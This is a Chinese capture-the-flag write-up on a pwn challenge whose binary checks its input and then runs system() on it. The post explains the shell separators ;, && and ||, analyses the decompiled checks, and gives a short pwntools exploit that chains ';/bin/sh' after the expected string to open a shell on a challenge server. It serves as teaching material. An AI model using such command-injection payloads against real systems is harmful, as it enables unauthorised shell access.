pwn杂项之linux命令执行
通常pwn题目,时常会考到对Linux命令的一些使用,比如当cat被禁用的时候,可以使用tac,或者别的命令代替
下面是buu上的应该题目,考察的就是对liunx命令的理解,以及对程序的分析。
扩展:1.当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也可以执行第二个
2.当我们输入第一个命令之后加上&&,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真再执行第二个命令,否则不会执行
3.当我们输入第一个命令之后加上||,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真就不会执行第二个命令,否则会执行
1.当拿到题目的时候,先看有没有给libc什么的,如果给了,首先先把题目的libc换上,然后再进行下一步,当然对于这一个题目首先查看保护

2.处于一个保护全开的状态,其实对于这种保护全开的题目,要么程序里面给了后门,要么这是个堆题,64位ida载入一下


可以看见程序确实留的有后门,现在进行逐步分析

v3是command的指针,v4是command的首地址

这里就是我们对command里面进行赋值,不过是要输入数字,%d,4个单元为一个元素

这里进行遍历把* v3里面每个元素都加了0x1bf52

v8里面放的是这个

这里进行判断输入command的东西是不是等于v8里面的东西,如果不是就退出,而且如果最后循环结束的时候*v8指向的字符串不是'0'的时候就不会执行system(command)。
思路是,首先输入的东西肯定要包含v8里面的东西,然后就是加上/bin/sh\x00\x00,\x00的作用就是进行绕过,不让程序退出,然后就会执行PvvN| 1S S0 GREAT!/bin/sh,但是这个啥也不是啊,别忘了linux里面的命令特点,当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也没事,那么就是PvvN| 1S S0 GREAT!;/bin/sh,但是前面将每一个元素加了0x1BF52,我们需要减去,然后就是输入对应的ascii码
可以使用u32或者u64进行输入,返回的是int类型的ascii码。
Exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = remote('pwn.challenge.ctf.show',28180)
payload = b'PvvN| 1S S0 GREAT!;/bin/sh\x00\x00'
print(len(payload))
for i in range(7):
n=i*4
io.sendline(str(u32(payload[n:n+4])-0x1BF52))
io.interactive()
pwn杂项之linux命令执行的更多相关文章
- Linux命令执行顺序— ||和&&和; 比较
Linux命令执行顺序— ||和&&和; command1 && command2: &&左边的command1执行成功(返回0表示成功)后,& ...
- Java调用Linux命令执行
调用方式 Java调用linux命令执行的方式有两种,一种是直接调用linux命令,一种是将linux命令写到.sh脚本中,然后调用脚本执行. 详细说明 直接调用:使用java中lang包下面的Run ...
- Linux命令执行过程
目录 一.命令分类 二.命令执行顺序 三.命令分类及查找基本命令 四.命令执行过程 一.命令分类 Linux命令分为两类,具体为内部命令和外部命令 内部命令: 指shell内部集成的命令,此类命令无需 ...
- Linux命令执行顺序— ||和&&和;
command1 && command2: &&左边的command1执行成功(返回0表示成功)后,&&右边的command2才能被执行. comman ...
- Linux命令执行的屏幕输出内容重定向到日志文件
摘要: 作者:Syn良子 出处:http://www.cnblogs.com/cssdongl 转载请注明出处 快速mark一下这个命令细节,免得以后使用又忘记了 大家都知道可以用echo来输出内容到 ...
- Linux命令执行顺序与管道命令
命令执行顺序控制 顺序执行多条命令:command1;command2;command3... 有选择执行命令:which command1 && command2 || comman ...
- linux命令执行返回值(附错误对照表)
转自:http://blog.sina.com.cn/s/blog_6739945f0100zt4b.html 在 Linux 下,不管你是启动一个桌面程序也好,还是在控制台下运行命令,所有的程序在结 ...
- LInux命令执行http请求
Linux下提供了一些命令可以直接执行http请求,下面举例来介绍几个命令. http // GET请求 http http://127.0.0.1:2379/version http GET htt ...
- Linux 命令执行结果输出到屏幕的同时写入到文件中
tee命令可以做到这一点: 例:ls -al /home | tee log 就可以把命令输出的内容显示在屏幕上的同时也输出至文件log.
- 用linux 命令 执行ci框架的方法
最近要跑一个数据量比较大的脚本,刚开始在浏览器页面访问发行nginx 5.4 超时, 又不想去修改nginx的连接时间,只能在服务器执行了, 执行方法:进入到ci 的根目录:#php index.ph ...
随机推荐
- 动态库 DLL 封装五:dll中弹出一个dialog窗口
操作步骤: 1.在dll项目中,点击 资源,新建一个 dialog 2.cpp文件 CDialog dlg(IDD_STA); // 显示窗口 dlg.Create(IDD_STA, 0); dlg. ...
- HarmonyOS语言基础类库开发指南上线啦!
语言基础类库提供哪些功能?多线程并发如何实现?TaskPool(任务池)和Worker在实现和使用场景上有何不同? 针对开发者关注的并发等语言基础类库的相关能力,我们在新推出的语言基础类库开发指南 ...
- css padding-right没有用?
前言 问题: 比如说我设置了width为100%了,这个时候我需要padding,但是padding-right似乎没有生效. 正文 原因 实际width=100%容器宽度+padding>容器 ...
- NG 转发配置
ng的用途就不用说了,反向代理么,都知道,不过以前一直不太理解怎没配,现在终于理解点了 1.下载ng,如图: 2.先解压,解压后的路径不建议有空格和中文,其次配置环境变量,加到系统path 3.启动n ...
- 接口文档神器apidoc
1.apidoc介绍 1.apidoc是什么? api文档生成工具:基于源代码备注创建的接口文档: 2.apidoc优势是啥? 超简单文档生成器:几乎支持目前主流的所有风格的注释, 如可在C#.Go. ...
- 在RockyLinux 9.3环境中采用RPM模式部署Oracle 19C
在RockyLinux 9.3环境中采用RPM模式部署Oracle 19C 用途 在开发数据库系统时,可以验证功能是否与Oracle的表现一致,验证正确性和兼容性 限制 虚拟机安装,CPU 2*4 内 ...
- 为什么序列化要实现Serializable接口
为什么实现了Serializable接口就会序列化? 实现了Java中的Serializable接口的类会被称为可序列化的,这意味着它们的实例可以被序列化为字节流,以便于在网络上传输.保存到文件中或者 ...
- 牛客网-SQL专项训练14
①通过子查询的方式从衬衫表SHIRTABLE中选取出销售单价shirt_price高于全部衬衫的平均价格的衬衫名字:B 解析: 题目要求需要用到子查询,故排除AC选项,而D选项在where子句中使用了 ...
- POJ4151:电影节
4151:电影节 总时间限制: 1000ms 内存限制: 65536kB 描述 大学生电影节在北大举办! 这天,在北大各地放了多部电影,给定每部电影的放映时间区间,区间重叠的电影不可能同时看(端点 ...
- Flink 最佳实践之使用 Canal 同步 MySQL 数据至 TiDB
简介: 本文将介绍如何将 MySQL 中的数据,通过 Binlog + Canal 的形式导入到 Kafka 中,继而被 Flink 消费的案例. 一. 背景介绍 本文将介绍如何将 MySQL 中的数 ...